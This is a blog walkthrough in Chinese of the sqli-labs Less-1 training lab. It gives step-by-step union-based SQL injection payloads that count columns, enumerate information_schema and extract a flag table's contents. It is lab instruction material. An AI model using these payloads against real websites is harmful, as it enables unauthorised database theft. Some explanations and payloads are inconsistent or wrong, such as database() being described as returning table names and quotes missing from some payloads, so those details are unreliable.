一、less1基于错误的GET单引号字符型注入1、观察到页面输入?id=1后返回正常页面,把id=2也返回正常页面,在id=3的后面加入单引号出现报错,由此判断存在sql注入
2、接下来我们可以使用mysql的union联合查询的方式来进行漏洞利用,由于union内部的select语句必须拥有相同的列,要不会报错,所以我们要先判断出当前表的列数,下面可以使用order by来构造注入语句构造语句来判断有多少列,页面返回正常发现有第三列,当输入4的时候页面报错,判断只有三列,order by是sql查询中对结果进行排序的语句,当表中没有第四列的时候就会返回报错,所以使用该命令来判断,--+的意思是注释吊后面,在sql注入中#号也是注释的意思,一般使用他的url编码后的格式注入,%23
?id=1'order by 3 --+
3、输入4后发现页面报错,由此判断该表中存在三列即三个字段,接下来判断哪些字段会出现回显,我们构造语句使用-1是为了确保查询结果为空从而能够显示后面union的结果
?id=-1'union select 1,2,3 --+
4、发现2,3处有回显,接下来构造语句来查看当前用户名和数据库名database()命令是查看表名,user()是查看当前数据库的用户名
?id=-1'union select 1,database(),user() --+,database()
5、拿到数据库名字后利用mysql自带的系统数据库information_schema来查看当前所有数据库的名字,information_schema这个数据库里面包含了所有数据库的名字,schema_name是系统数据库information_schema中的一个字段,即列,该列包含了当前mysql下所有数据库的名字,group_concat()函数是为了将所有数据库的名字合并成一个字符串返回,该函数会将各个数据库的名字用逗号隔开来返回
?id=-1 union select 1,2,group_concat(schema_name)from information_schema.schemata--+
6、看到了有一个数据库的名字是flag,我们现在需要拿到该数据库的表名,构造如下语句,0x666c6167是数据库flag名字flag的16进制格式,在这句话中information_schema.tables是系统库information_schema的另一个表,该表包含了当前mysql下所有表的名字,其中table_schema是列名
?id=-1'union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=0x666c6167
7、看到了flag数据库中有一个名为flagtable的表名,继续构造语句来查看该表下的字段名字,其中column_name是information_schema.columns表中的一个字段名字,该表包含了当前mysql下所有字段的名字。
?id=-1'union select 1,2,group_concat(column_name)from information_schema.columns where table_name=0x666C61677461626C65
8、看到当前表下有一个flag的字段,继续构造语句拿到字段下的内容,其中,group_concat函数的意思是把id和flag两个字段的内容以一个字符串的形式显示,0x3A对应的ascii码是冒号,所以意思是这两个列的内容用冒号隔开,最后拿到flag
?id=-1 union select 1,2,group_concat(id,0x3A,flag)from flag.flagtable --+
标签:information,union,数据库,labs,Sqli,flag,sql,id,schema From: https://blog.csdn.net/2401_89478347/article/details/144251418